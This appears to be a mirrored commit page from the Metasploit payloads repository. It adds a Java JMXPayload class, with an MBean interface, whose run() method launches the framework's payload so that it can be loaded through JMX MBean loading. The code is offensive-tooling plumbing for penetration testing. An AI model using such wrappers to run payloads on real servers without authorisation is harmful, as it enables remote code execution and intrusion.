1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Land #25, @jvazquez-r7's MBean loading support

This commit is contained in:
Brent Cook 2015-02-02 13:06:50 -06:00
commit bab206fd92
3 changed files with 16 additions and 0 deletions

1
java/.gitignore vendored
View File

@ -17,3 +17,4 @@
androidpayload/ndkstager/libs
androidpayload/ndkstager/obj
.DS_Store
*.iml

View File

@ -0,0 +1,10 @@
package metasploit;
import java.io.*;
import javax.management.*;
public class JMXPayload implements JMXPayloadMBean {
public Object run() throws Exception {
Payload.main(null);
return null;
}
}

View File

@ -0,0 +1,5 @@
package metasploit;
public interface JMXPayloadMBean {
public Object run() throws Exception;
}